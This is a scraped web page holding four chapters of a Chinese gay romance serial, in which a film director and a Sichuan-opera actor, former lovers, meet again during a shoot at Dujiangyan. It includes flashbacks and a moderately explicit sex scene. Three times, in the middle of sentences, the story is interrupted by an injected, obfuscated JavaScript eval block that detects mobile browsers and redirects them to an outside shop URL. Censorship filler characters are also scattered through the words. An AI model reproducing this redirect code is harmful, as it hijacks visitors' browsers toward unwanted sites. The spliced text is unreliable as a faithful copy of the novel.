怀里的人往他胸口深处拱了拱,鼻尖蹭过他的锁骨,像只寻求安全感的小动物。 这个本能的依赖动作让李霄川喉结滚动,想起昨夜陈声和哭到打嗝时说的话:“万一以后没机会了怎么办?” 雨还在下,天色阴沉得不像早晨。 李霄川摸到陈声和冰凉的手,小心翼翼地握紧,仿佛这样就能永远不松开。 41.认错了,这我前男友 陈声和迷迷糊糊躺在酒店床上,盯着天花板上那道裂缝发呆。 空调运转声掺和着窗外绵密的雨声,仿佛又回到五年前成都那个潮湿的清晨。 他睁开眼时,李霄川正支着脑袋看他,手指还不安稳地试图捏他的鼻子。 手比脑子更快地伸向身侧,掌心却只压到冰凉的被单。 退烧药的效力裹着困意再次袭来,他的意识再次渐渐模糊。 半梦半醒间,耳畔忽然响起一声带着沙哑的叹息:“……幺儿一点都不乖。” 语气无奈又温柔,像是多年前那样,明明自己都是一身伤,一身痛,却依旧舍不得自己破一点皮。 陈声和把滚烫的脸埋进枕头。他从来不爱看文艺片,可李霄川硬生生把他拖进一场漫长的胶片电影里。 那些藏在练功房角落的亲吻,后台化妆镜上用口红画的心,还有暴雨天挤在出租屋单人床上分食的泡面,全都带着过度曝光的眩目感。 枕头晕开一片湿热,他蜷缩起来,无意识用潮汕话咕哝了一句:“……阿川……” “我在这。” 有些沙哑的发音像颗酸柠檬糖卡在喉头。 陈声和知道没有人,是他发烧的幻觉,可那个滑稽的声调太真实,真实得让他鼻梁发酸,眼泪不断。 其实他不知道,也烧懵了,李霄川就坐在阴影里的单人沙发上,指节还残留着方才擦泪时的湿意。 等他再次睡熟后,李霄川最终只是俯身,在陈声和汗湿的额头上落下一个克制的吻:“小广仔,莫哭了。” 窗外,连绵不断的细雨还在下,李霄川就坐在旁边守了他一夜,直到次日早上陈声和退烧,他才悄声无息地离开。 …… 拍摄已进入最后冲刺阶段,这两天要赶拍都江堰景区的非遗展示镜头。整个剧组都绷紧了神经,因为陈声和对外景的镜头有非常固执的追求。 凌晨三点一刻,房车里的陈声和被枕边手机持续的震动惊醒。 监控屏上跳着李霄川的未接来电,他迷迷糊糊地握着手机发愣,一时分不清是梦中还是现实。 这还是重逢后他第一次主动给自己打电话。 手机自动锁屏前,他注意到自己拇指沾上了一抹暗红。是昨天拍摄李霄川表演变脸时,油彩甩在了摄像机把手上。 当时场记要擦,他拦住了。 “导演?”场务敲开房车门,带进一阵夜风,“副导那边说天气看着不咋好,都江堰的拍摄……” “按原计划。”陈声和打断他,同时将沾着干涸油彩的手指蜷进掌心。指甲陷入皮肤的刺痛让他清醒了几分。 前两天在下雨,大家都怕拍摄到一半下雨,但陈声和要的就是真实的都江堰,下雨天有下雨天的美,毕竟成都入秋后雨水本就多。 屏幕再次解锁,首先入眼的就是母亲发来的照片:老家祠堂里,绣着龙凤呈祥的潮汕嫁衣平整地铺在香案上。 下面写着:你三叔家的老小,今天订婚了。 陈声和眉头紧蹙着,突然弓起身子,喉间涌上熟悉的苦涩,像是当年在堂哥的定亲宴上,喝下的那杯茶在胃里翻涌。 他摸出床头柜的药瓶,倒出两粒白色药片。医嘱上写着情绪性胃痉挛发作时服用,而生产日期显示这瓶药已经过期了,但他仍然当作没看见。 窗外传来低沉的咳嗽声,透过房车玻璃,能看到李霄川靠在剧组大巴旁抽烟。 月光下,他吐出的烟雾呈现出病态的烟雾。 陈声和不由自主地数着咳嗽的节奏,那时他熬夜剪片,李霄川总在特点的时间点带着宵夜出现在剪辑室门口。 为了提神,俩人时常就只抽一根烟,一人一口,不过肺,然后吐在对方的脸上,两个人再一起咳嗽,吻在一起。 烟头的火光忽明忽暗,但足够让他看清李霄川左手无名指上那道月牙形的疤痕。 那是五年前他咬的,在得知省剧院要送李霄川去北京进修的时候,他不愿意。 “陈导,咖啡,李师傅请的。”副导老张不知何时进来站在身后,顺着他的视线笑道,“李老师真拼,听说昨天下戏后练功到凌晨,今天又这么早来拍外景。” 陈声和接过咖啡杯,发现杯套是熊猫图案。温度透过纸杯灼痛手指时他才意识到,在过去五年里,他什么都没戒掉。 大巴引擎的轰鸣惊起栖息在树丛中的夜鹭。 李霄川掐灭烟转身的时候,陈声和看见他手机屏幕一闪而过的画面,很模糊,看不清上面是谁。 但肯定是个男的。 手机叮咚一声,陈声和看都没看,直接扔进桌上的水杯里。 气泡咕噜噜上升的声音让他想起都江堰的浪涛。当年李霄川在鱼嘴分水堤锁上同心锁,钥匙落水的声音至今还在他梦中回响。 …… 清晨六点整,川剧团演员全都到齐后,剧组大巴缓缓驶向都江堰。 陈声和没坐自己那辆房车,他也不清楚为什么,一边躲着,一边又想离那人近点。 他找了个靠窗位置坐着,手指摩挲着一个小小的护身符。褪色的红布包里,除了那东西,还有一把生锈的小钥匙。 李霄川上车时,带着淡淡的药油味。他今天没穿戏服,黑色棉T恤贴在身上,左肩处隐约透出膏药的轮廓。 别人都穿着厚衣服,裹着羽绒服,他跟身上扛着一个火炉似的,连个卫衣都不穿。 整个车厢气氛微妙地安静了那么一会儿,直到老张起身打招呼,凝固的空气才重新流动起来。 “李老师坐这儿!”林瑶热情地招手,她手指的方向正好是陈声和身边的空位。 李霄川的目光在陈声和紧绷的下颌线上停留了一下,嘴角扬起一个浅淡的笑:“不了,我晕车,坐前面舒服点。” 陈声和的喉结不明显地滚动了一下。 大学时每次坐公交,李霄川总要挤到他身边,说靠着他肩膀睡觉比吃安眠药还管用。 那些颠簸的路途,那人温热的呼吸就喷在他的颈侧。 一路上大家都在补觉,或者玩手机聊天吃东西,陈声和默默听着李霄川和老张几个人聊天。 大巴停下的时候,天色已经大亮了。 都江堰的江水轰隆隆地响着,听起来就像大自然自己写的交响乐,让每个听的人心里都跟着澎湃起来。 陈声和拿着相机找了个地方开始试光线,正低头调试摄像机白平衡,一片阴影突然笼罩下来。 李霄川不知何时已经站在他身后,熟悉的薄荷烟味与药膏的苦涩气息蜂拥而至,还是当年陈声和特意从潮汕寄给他的那款。 也不知道这么小众的药膏,这些年他是怎么买到的。 “陈导,”李霄川的手突然按在摄像机上,冰凉的金属机身顿时成了两人之间唯一的连接点,“今天拍我走位就行。” 陈声和皱眉:“分镜脚本不是这样安排的……” “临时改戏。”李霄川已经不由分说夺过机器,镜头猝不及防地对准了陈声和的脸。 取景框里,他看到自己瞳孔骤然收缩的样子,像一只被车灯照亮的耗子,无处可逃。 江水奔腾的声音仿佛被无限放大。 李霄川的声音穿透镜头传来:“记得吗?当年在这儿,有人扔了把钥匙,说没退路。” 陈声和的指甲陷进掌心。 大二那年暑假,李霄川攥着他的手在鱼嘴分水堤锁上同心锁,钥匙被扔进江心时溅起的水花,和那句回荡的话:“陈声和!我李霄川爱你就像这都江堰的水!” “……断了闸就淹了整个成都。”现时的李霄川补完下半句,另一只手从口袋里掏出陈声和的导演证,塑料封套在阳光下反着刺眼的光,“现在换你追我。” “你干什么!”陈声和扑上去抢,李霄川却后退半步,手腕一扬…… “不要!” 证件很快就没了影。 那声音不像响在耳边,倒像拿烧火棍在他心窝里狠狠搅了一下,闷痛得让人耳朵发鸣。 陈声和血都凉了,僵在原地。 他脖子里挂着的护身符突然变得滚烫,里面藏着的那把备用钥匙,此刻正紧贴着他的皮肤。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005882|193990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “陈导的证件!”林瑶的惊呼炸开,整个剧组应声乱了套。 她猛地扭过头,死死盯住李霄川。 那证件是他刚才亲自来要的,说陈声和急着用,他顺路带过去。林瑶根本没多想就递了出去,可现在,竟眼睁睁看着那本证件从他手中扔出去,瞬间被都江堰湍急的水流吞没! 有人喊着要叫救援队,有人翻找备用证件,而李霄川只是静静地看着陈声和,眼神像是要看穿他的灵魂。 “你明知道我……”陈声和的声音哑得不成调,“不能没有那个。” “是不能没有证件,”李霄川逼近一步,两人之间的距离近得能闻到彼此呼吸里的颤抖,“还是不能面对当年藏钥匙的人?” 剧组的嘈杂声忽然像被按了静音键。 陈声和的视线落在李霄川微微敞开的领口,那道锁骨下方的伤疤隐约可见。他知道这件黑色T恤下面还藏着更多自己未曾见过的伤痕。 五年时间,足够让一具熟悉的身体变得陌生。 他几乎要跪下来,把那个潮湿的秘密从喉咙里掏出来。 “2号快补位!”副导演的喊声劈开凝滞的空气,“无人机拍到绝佳光线,陈导快来!” 陈声和仓皇转身,却在擦肩而过的瞬间听见李霄川压低的声音:“你脖子里挂着的那个护身符的线头……为什么和当年系钥匙的红绳一样,都是三股捻的。” 他没接话,也不会回答。 …… 这天拍摄草草收工了,不过好在天气给力,陈声和想要的素材全都拍到了。 结束后,陈声和独自坐在堤岸的石阶上,这里游客比较少,也适合他放空。暮色中有人递来一听啤酒,他不用抬头也知道是谁。 “赔罪。”李霄川在他身边坐下,易拉罐上的水珠滚落在两人之间的缝隙里,“补□□件的钱我出。” 江水在脚下翻涌,卷起陈年旧事。 陈声和没接话,只是开口问他:“为什么是今天?” “昨晚整理旧物,找到这个。”李霄川从钱包夹层抽出一张旧的拍立得。 照片边缘已经起毛,少年的陈声和正低头在锁上刻字。 照片背面写着日期,是同心锁沉入江底的那天。 陈声和手里的啤酒罐发出不堪重负的呻吟。 当年刻在锁上的不是两人名字,而是一句潮汕俗语“江水有日倒流”。此刻李霄川的拇指正摩挲着照片上那处模糊的刻痕,像是早已知晓这个秘密。 “其实我……” “陈导!”生活助理的喊声横插进来,“您母亲来电,说特别急!” 陈声和的脸色瞬间褪尽血色。他起身太急,护身符从领口滑出,在暮色中晃了晃。 李霄川手快伸手抓住它:“这里面装的……” “平安符而已。”陈声和猛地拽回,红绳在李霄川虎口勒出一道细长的红痕,像当年他咬出的那道疤。 回程的大巴摇晃得像艘船。陈声和蜷缩在最后一排,母亲带着哭腔的声音仍在耳畔回荡。 “族里说要收回祖屋,你二伯家的老二怀了双胞胎,说除非你回来结婚……” 车窗倒影里,前排的李霄川正低头和灯光师看照片。 那人突然惊呼:“这不是陈导吗?好年轻!” 陈声和浑身血液凝固。 照片里,是大二时期的陈声和,趴在李霄川背上傻笑的照片。 “认错了。”李霄川平静地划走屏幕,“我前男友。” “………………” 停顿片刻,又若无其事地补了一句:“别说,还真有点像。” 灯光师顿时尴尬的不知道做什么才好,只好使劲戳着手机屏幕,恨不得马上隐身。 车厢里霎时死寂下来,所有人都突然对手机屏幕产生了异常浓厚的兴趣,连呼吸声都变得小心翼翼。 陈声和把护身符咬在齿间,锈味的钥匙抵着舌尖。 当年他藏起这把钥匙时,李霄川说过:“潮汕人最讲信用,你留着它,不管走到哪里,都得回来找我。” 42.是不是特别喜欢我? 八月的成都闷得像个烤箱,连陈声和这个在广东生活了几十年的人都有些受不住。 公寓的旧空调嗡嗡作响,却怎么也驱不散那黏腻的热气。窗外的蝉鸣声此起彼伏,像一张密不透风的网,裹得人透不过气来。 李霄川盘腿坐在卧室地板上,后背靠着床沿。他手里捏着两张被汗水浸得有些发软的车票,仰头看着正在收拾背包的陈声和。 “真要去?”他声音里带着点鼻音。昨晚练功到太晚,今早起来嗓子有些哑。 陈声和头也不抬,往包里塞进两瓶矿泉水、一包纸巾、充电宝,最后犹豫了一下,又摸出两个藿香正气水。 李霄川最怕中暑,上次社团活动晒了半小时就头晕,硬撑着不说,最后被陈声和拽到树荫下灌药,苦得整张脸皱成一团。 “嗯。”陈声和应了一声,拉上背包拉链,这才看向他,“你不想去?” “想啊。”李霄川笑了,伸手拽住他的手腕,轻轻一扯,陈声和就跌坐到他腿上,“但你不是说这周末要剪片子?” 陈声和的耳尖以肉眼可见的速度红了起来。他捏了捏李霄川的肩膀,那里有一块练功留下的硬茧和伤疤:“……剪完了。” 其实是熬了两个通宵赶出来的。 李霄川前天排练时随口提了句“都江堰的鱼嘴夏天看最壮观,改天带你去看”,他当晚就查好了路线,订了最早一班的车票,却一直憋着没说。 直到今早起床,他才装作不经意地问:“今天去都江堰?” 李霄川半晌没说话,只是用目光细细描摹着对方的轮廓,然后凑近,他的鼻尖蹭过陈声和的耳垂,带着薄荷牙膏的气息。 “陈声和,”他压低声音笑,“你是不是特别特别喜欢我?” 陈声和红着脸不回答,手指蜷缩起来,没承认,也没否认。只是去推李霄川的胸口。 李霄川见好就收,在他腰上不轻不重地捏了一把:“走,带你去看真正的水。” …… 都江堰的人比想象中多得多。旅游团的小红旗在人群中晃动,导游的喇叭声、小贩的叫卖声、孩子的嬉闹声混在一起,吵得陈声和太阳穴突突直跳。 他向来不喜欢这种嘈杂的环境,眉头不自觉地皱起,脚步也慢了下来。 走在前面的李霄川突然停下。他转身时,阳光正好打在他的侧脸上,勾勒出一道明亮的轮廓。 “累了?” 陈声和摇头:“没。” 李霄川没说话,只是伸手用掌心贴上他的额头,轻轻往后一拨,替他挡住了刺眼的阳光。 这个动作让陈声和想起小时候母亲也是这样为他遮阳的,只不过李霄川的手比母亲的大得多,也粗糙得多。 “跟紧点。”李霄川说。他的手指顺着陈声和的手臂下滑,最后扣住了他的手腕,“别走丢了。” 陈声和怔了怔,往四周扫了一眼。 大爷大妈举着自拍杆说说笑笑,年轻情侣忙着给对方拍照,卖冰粉的小贩正高声吆喝…… 没有一个人对他们的举动投来异样的目光,甚至没人多看一眼。 他紧绷的肩膀不自觉地放松下来,这才发现自己的掌心已经沁出一层薄汗。 夏日的风拂过两人交握的手腕,带着都江堰的水汽,莫名让人心安。 李霄川的手很热,掌心有常年练功留下的茧,磨得他皮肤发痒。 陈声和低头看着两人交叠的袖口,李霄川的腕骨抵着他的脉搏处,那里的跳动突然变得,一下一下。 他们一路穿过拥挤的观景台,陈声和的肩膀不时被人群撞到,李霄川便伸手虚护在他身后。 走到鱼嘴附近的一处栏杆旁时,游客终于少了许多。 奔腾的江水声盖过了远处的喧闹,飞溅的水花在阳光下折射出细碎的彩虹,风裹挟着水汽扑在脸上,带来久违的凉意。 李霄川松开他的手,双臂撑在有些锈迹的栏杆上。江风把他的T恤吹得紧贴在身上,勾勒出常年练功的挺拔轮廓。 他眯起眼望向远处,睫毛上沾了细小的水珠。 “怎么样?”他问,声音被水声冲得有些散。 陈声和注视着阳光下闪着金光的江面。水流在鱼嘴处分道扬镳,又在远处重新汇合:“很壮观。” 李霄川笑了起来,从牛仔裤口袋里摸出个东西在他眼前晃了晃。一把小小的铜钥匙,在阳光下闪着光。 “刚在景区门口买的,”他的小拇指勾着钥匙环,“据说这儿的同心锁很灵。” 陈声和盯着那把钥匙,喉结动了动:“……你要挂锁?” 李霄川没回答,只是拉过他的手,把钥匙拍在他掌心。钥匙还带着李霄川的体温,陈声和的手掌攥紧,金属棱角硌得手心发疼。 等他回过神,李霄川已经转身朝不远处的小摊走去,背影在人群中时隐时现。 陈声和跟上去,摊位上挂满了各式各样的锁。 李霄川弯腰挑了半天,最后选了把最普通的铜锁。 摊主递来刻刀时,他抬头冲陈声和眨了眨眼,然后低头专注地刻起来。刀尖在金属表面划出细小的碎屑,阳光下像金色的雪粒。 川流不息。 刻完,他吹掉碎屑,把锁转向陈声和:“怎么样?” 陈声和盯着那四个字。李霄川的字迹比平时工整许多,最后一笔却还是带着他专有的飞扬。 江水声忽然变得很远,耳边只剩下自己急促的心跳。 “……俗。” 李霄川大笑着付了钱,铜锁在他指间叮当作响,然后递给他:“另一面你来刻?” 陈声和接过那把锁,拇指划过“川流不息”四个字,又翻过来去刻。 李霄川拿起手机拍摄,镜头盯着那人专注的神情,慢慢往下,最后落在锁上刻的字上面。 江水有日倒流。 他拽着陈声和往挂锁区走时,手腕上的红绳从袖口滑出来,这是陈声和上月去文殊院给他求的,和先前潮汕的那个不一样。 但热恋期的小情侣都喜欢送这些小玩意儿戴在身上。 挂锁的地方已经密密麻麻挤满了同心锁,有些锈迹斑斑,有些还闪着新铜的光泽。 李霄川找了个空隙,咔嗒一声扣上锁。 陈声和正盯着锁面上两人的倒影发呆,忽然听见他说:“陈声和,抬头。” 他抬起眼,只见李霄川手腕一扬,那把钥匙在空中划出一道闪亮的弧线,坠入滔滔江水,转眼就被吞没。 陈声和浑身一僵,猛地转头看他。 李霄川却笑得轻松。他屈起手指,轻轻敲了敲锁面:“就像这个,没退路。” 江风掀起他的衣角,声音混在浩荡的水声里,既清晰又模糊:“我对你也是。” 那一刻陈声和说不出心里什么滋味,只觉得为什么这个世界偏见太多。 …… 回成都的大巴上,陈声和靠着车窗假寐。玻璃随着车身颠簸微微震动,太阳穴传来规律的碰撞。 李霄川坐在他旁边,肩膀紧紧贴着他,体温透过两层薄薄的棉T传来,烫得惊人。 车过一个减速带时猛地一晃,陈声和的额头撞上玻璃。他皱了皱眉没睁眼,下一秒却感觉到一只温热的手掌垫了过来,恰到好处地隔开了他的皮肤与冰凉的玻璃。 李霄川的拇指揉了揉他的太阳穴,缓解了那点细微的疼痛。 陈声和睫毛颤了颤,依旧没动。 “睡吧,”李霄川的声音压得很低,带着笑意,“到了叫你。” 陈声和“嗯”了一声,呼吸渐渐平稳。 他没告诉李霄川,那把钥匙……其实他偷偷藏了一把备用的。就放在他随身带的护身符里,贴着心口的位置。 但陈声和也不知道,在李霄川刻字时,他按在手心底下的一把钥匙,那人其实看到了。 大巴在夜色中缓缓驶入市区,车窗外的霓虹灯一盏接一盏亮起,橙红蓝紫的光斑在李霄川的侧脸上流转,又很快被疾驰的车速甩在身后,像一场转瞬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005883|193990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 即逝的灯光秀。 陈声和睫毛颤了颤,从浅眠中醒来。他发现自己不知何时靠在了李霄川肩上,鼻尖蹭着对方棉质T恤的布料。 李霄川正低头刷手机,屏幕的亮光映在他下颌,勾勒出一道锋利的线条,喉结随着吃糖的动作上下滑动。 “……到了?”陈声和开口,嗓音里还带着未散的睡意。 李霄川锁屏的动作让光线骤然消失。他抬手拨了拨陈声和额前散乱的碎发,手指擦过太阳穴:“刚进三环,还早。” 陈声和“嗯”了一声,却没动,依旧靠着他。李霄川的肩膀很稳,带着熟悉的体温,还有一些皂角香。 车厢微微摇晃,窗外的街景从郊区厂房逐渐变成密集的商铺。 李霄川侧头,声音压得很低:“回公寓,还是先带你去吃生腌?我刚看了有一家新店评价不错,去尝尝?” 他说话时胸腔的震动透过相贴的肩膀传来。 陈声和顿了顿。 公寓里那个老空调制冷效果很差,开到16度还不如风扇凉快。回宿舍……但他突然不想回到那个堆满剪辑设备、连转身都困难的狭小空间。 “我订了酒店。”他说得轻轻的。 李霄川正在梳理他头发的手指顿了一瞬,又继续若无其事地继续:“……什么时候订的?” “昨晚。” 李霄川低笑了一声,胸腔的震动更明显了:“陈声和,”他凑近耳边,气息拂过耳廓,“你才是蓄谋已久啊。” 陈声和没反驳,只是耳尖以肉眼可见的速度红了起来。车窗倒影里,他看见李霄川还在憋着笑,肩膀一抖一抖的。 酒店在市中心,离学校很远,下车后李霄川先带他吃了那家生腌,俩人这才回酒店。 电梯上升的时候,陈声和盯着跳动的楼层数字,心跳声几乎盖过了机械运转的嗡鸣。 李霄川站在他身侧,一手拎着给陈声和买的零嘴,一手插在兜里,表情平静,但手指正一下一下摸着口袋里的钥匙扣。 那是去年生日时陈声和送他的礼物,一只小小的铜制熊猫。小广仔说这熊猫像李霄川,是只“会喷火的熊猫”,因为李霄川排练时总爱较真。 “滴”的一声,房门应声而开。 陈声和先一步走进去,把背包放在靠窗的小圆桌上。 房间才50平不到,但贵在干净整洁,环境也好,最重要的是还有浴缸,是他挑了好久才选的这家五星级。 落地窗外是成都市中心璀璨的夜景,不远处就是金融街,灯火如星铺展到天际。 “你先洗还是我先?”李霄川说着已经脱掉了体恤,今天太热了,他俩人身上都黏糊糊的。 陈声和喉结动了动:“……你先。” 李霄川挑眉,嘴角挂着笑却没多说什么,拿了换洗衣物进了浴室。 水声很快响起,陈声和坐在床边,手指紧张地揪着床单。他其实没想太多,只是觉得谈了那么久,他们可以进一步关系了。 在都江堰,在江水前,在那把锁扣上的瞬间,他不想让这一切结束得太仓促。 他想记住更多。 李霄川手指的温度,呼吸的节奏,甚至是练功时留在腰侧的那道疤。 但紧张也是真的,很期待,又觉得不太好意思,明明两个人都同居了,还是觉得挺害羞。 浴室门开了,李霄川走出来,发梢还滴着水,T恤松松垮垮地套在身上。 陈声和抬头看他,视线相触的瞬间,两人都顿了顿。 “去洗吧。”李霄川说,声音比平时低了一些。 陈声和点头,起身时不小心蹭到李霄川的手臂,皮肤相触的地方像被烫了一下。 热水冲下来时,陈声和才意识到自己有多紧张。他闭着眼,任由水流冲刷过肩膀、脊背,试图平复呼吸。 他伸手抹了一把镜面,看到自己泛红的耳根和紧绷的下颌线。镜中人的眼睛让他想起拍摄时见过的潮汐。 看似平静,底下全是暗涌。 43.睫毛在抖了乖乖(删减版) 其实他在害怕。 不是害怕李霄川,而是害怕自己会在那双惯于演尽悲欢离合的眼睛里失控。他习惯了把情绪压得像潮汕老宅的夯土墙一样密实,可今晚,那些夯实的土层正在寸寸龟裂。 关掉水龙头,他擦干身体,穿上带来的T恤和短裤,一身很普通的居家打扮,却因为即将发生的事而分外暧昧。 深吸一口气,他推开了门。 房间里只开了一盏床头灯,暖黄的光晕染开,李霄川靠在床头,手里拿着手机,听到动静后抬头看他。 “过来。”李霄川把手里扔在一旁,充电线在桌沿晃了晃。 陈声和走过去,刚靠近床边,手腕就被握住,李霄川稍一用力,他就跌坐在对方腿上。 “紧张?”李霄川问,手指抚上他的后颈,轻轻捏了捏那块凸起的骨头。 陈声和摇头,却又在李霄川凑近时闭了闭眼。 李霄川低笑起来,鼻尖蹭过他的脸颊:“睫毛在发抖了乖乖。” 陈声和睁开眼,对上李霄川的目光,那双眼睛在昏暗的光线下分外深邃,像是能把他整个人吞进去。 “我没撒谎。”他说,声音清晰而坚定。 李霄川望着他,眼底翻涌着复杂的情愫,伸手关掉了台灯。在骤然暗下的视野里,他准确无误地吻住了陈声和的唇。 这个吻和之前都不一样。 不再是试探的、温柔的触碰,而是带着明确的欲和谐望和占有欲,李霄川的手扣住他的后脑,舌和谐尖撬开他的齿关,长驱直入。 陈声和呼吸都变得灼热了起来,手指抓住对方的衣襟,却被李霄川顺势推倒在床上。 “再给你一次机会,”李霄川抵着他的额头问,呼吸灼热地扑在他眼皮上,“准备好了吗?” 陈声和在黑暗中凝视他,窗外路灯的光透过窗帘缝隙,在那张熟悉的脸上投下一道明暗分界线。 他伸手抚过那道光线,点了点头:“嗯,不后悔。” 后来的一切都像一场梦,却又真实得让人心颤。 李霄川的吻带着熟悉的温度,从颈侧一路向下,在锁骨处停留片刻,又辗转至胸和谐口。 陈声和能感觉到他干燥的唇纹擦过皮肤,每一寸被触碰的地方都像是被点燃,激起细小的战栗。 陈声和仰着头,喉结上下滚动,手指抓紧了床单。 棉质布料在掌心皱成一团,又被李霄川的手覆上来,强硬地分开他的手指,十指相扣按在枕边。 “别忍着。”李霄川的呼吸喷在他耳畔,声音低哑得不成样子,“我想听。” 陈声和下唇被自己咬得发白,却在李霄川缓慢的瞬间泄出一声喘和谐息。疼痛瞬间袭满全身,却又很快被另一种更强烈的感和谐觉取代。 那种大脑空了一瞬,身体酸楚的满足感让陈声和意识到他们在做这个世界上最亲密,最幸福的事情。 李霄川的动作很慢,每一次推和谐进都像是在丈量什么。 陈声和恍惚觉得,他是在用这种方式确认这一切都是真实的,要把每一个细节都刻进记忆里,连带着肌肤相贴的温度和呼吸的频率。 陈声和抬起发软的手臂,环住李霄川的肩膀。手指碰到他背上那道熟悉的疤痕时,轻轻摩挲了一下。 他曾经在无数个夜晚,用潮汕带来的药膏小心翼翼地帮他揉开淤血。 “李霄川……”他低声唤道,声音里带着连自己都没察觉的颤抖,像是在确认眼前人的存在,又像是在索取更多安全感。 李霄川低头吻住他,唇齿交缠间含糊地应着:“在呢乖乖。” 夜色深沉,窗外的城市依旧灯火通明。远处高楼的霓虹透过没拉严的窗帘缝隙,在地板上投下一道变幻的光带。 但此刻他们的世界里,只有彼此交错的呼吸和心跳声。 凌晨四点多,陈声和从浅眠中醒来,发现李霄川正一瞬不瞬地看着他,暖黄的夜灯在他轮廓上镀了层阴影。 “怎么不睡?”陈声和的嗓音还带着事后的沙哑和倦意。 李霄川的手指绕着他的一缕头发,轻轻把玩着:“怕醒了发现是梦。” 陈声和心头猛地一缩,撑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005884|193990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起身子凑过去,在他下巴上落下一个轻吻:“不是梦。” 李霄川嘴角扬起一个很小的弧度,忽然问道:“你今天为什么订酒店?” 陈声和微微一顿,沉默在房间里蔓延,直到他听见自己干涩的声音:“……想记住更多。” “记住什么?”李霄川追问,手指在陈声和看不到的地方收紧。 “记住你。”陈声和往他怀里蹭了蹭,“记住这样的你。” 李霄川没再说话,只是收拢手臂把他搂得更紧。 陈声和的侧脸贴在他胸口,听着那里面传来的有力心跳,想起昨天在都江堰,李霄川把锁在鱼嘴上的钥匙扔进江水的样子。 没有退路。 他闭上眼,第一次清晰地意识到:他也不想有退路了。 …… 第二天回到公寓,陈声和一进门就察觉到不对,那个总是嗡嗡作响的老空调不见了,取而代之的是一台崭新的机器,正无声地吐着凉风。 他愣在原地,手指抠了抠门框:“你……换了空调?” 李霄川正在厨房切西瓜,头也不抬,刀刃咔嗒一声劈开鲜红的瓜瓤:“嗯,我更喜欢在家……做。” 他特意咬重的字眼让西瓜汁水溅在案板上,毫不遮掩地暗示。 陈声和耳根发烫,转身扑进卧室,整个人陷进被褥里。凉意顺着脊椎爬上来,他忍不住蜷起脚趾,在床单上滚了半圈。 “好凉快啊~”尾音拖得绵长欢快,像化开的冰激凌让人忍不住想咬一口。 其实这空调早该换了,刚租房的时候他就要换,陈声和盯着维修单上四位数的报价立马制止了他。 “别乱花钱,你还要攒钱换行头的。” 现在李霄川把卧室门锁咔嗒扣上。陈声和听见布料摩擦的窸窣声,回头时正好看见他扯掉T恤。 “你、青天白日……” “正好试试制冷效果。”李霄川已经压下来,膝盖抵进他腿间。 新空调的液晶屏安静地跳动着数字,26℃的凉风里,两颗汗湿的心脏正在失控地发烫。 44.现在你还在怕什么 十月底的成都,暑气已经彻底褪尽了,夜风里夹着丝丝凉意,吹得人后颈发紧。 陈声和站在片场外围,拢了拢单薄的衬衫领口。 这次的非遗宣传片是省文旅局的重点项目,李霄川作为川剧院的台柱子,几乎包揽了所有重要镜头。 他扮相好,功底扎实,微博上还有一群天天追着喊哥哥的粉丝,文旅局的领导拍着他肩膀说:“这宣传片能不能出圈,就看你和小李了。” “陈导,差不多五分钟后开拍哈。”林瑶小跑着凑过来,顺手塞给他一杯热美式。 塑料杯壁烫得吓人,他却跟没感觉似的,反手把杯底按在太阳穴上,狠狠压了一下。 后台乱哄哄的,道具组在那儿哐当哐当清点铜锣铙钹,服装师抖开一件绣金蟒袍,金属挂饰叮叮当当响成一片。 远处还有人咿咿呀呀在吊嗓子,那拔高的尾音像根细钢丝,直往他太阳穴里钻。 “李老师那边……现在什么情况?”他听见自己开口,嗓子比想象中还哑。 林瑶顿了一下,才接话:“妆都化好了,就是……一直没停,还在练跪塔那段动作。”她往前凑近半步,声音压得低低的,“膝盖都青了,化妆师偷偷跟我说,贴了两层胶布才盖住。” 陈声和闭上眼,喉咙又干又痛。他是不是该过去说点什么?以导演的身份提醒演员保存体力,或者以……以什么身份呢? 最后他只是点了点头,硬邦邦扔下一句:“按原计划拍。” 正式拍摄开始,舞台灯光“唰”地一下大亮,钨丝灯管发出的嗡声让他后槽牙发酸。 李霄川已经跪在了雷峰塔布景前,雪白的水袖拖在地上,沾了道具组撒的香灰。额角的血浆在强光下红得发亮,眼尾的黛青拉得特长。 他知道这个样子在镜头里会很好看,可现在亲眼看着,却像被雨水晕开的墨痕,乱七八糟的。 “娘子!” 这一嗓子出来,陈声和指关节都捏白了。这个特写镜头本来该副导演盯,可他也不知道哪根筋搭错了,自己抢过了机器。 现在他恨不得坐时光机回去,把十分钟前那个手贱的自己掐死。 取景框里,李霄川的眼泪砸在戏台木板上。那滴泪跟穿过镜头似的,直接烫在他心口上。 “陈导?”林瑶轻轻碰了碰他手臂,“焦距……好像有点虚了。” 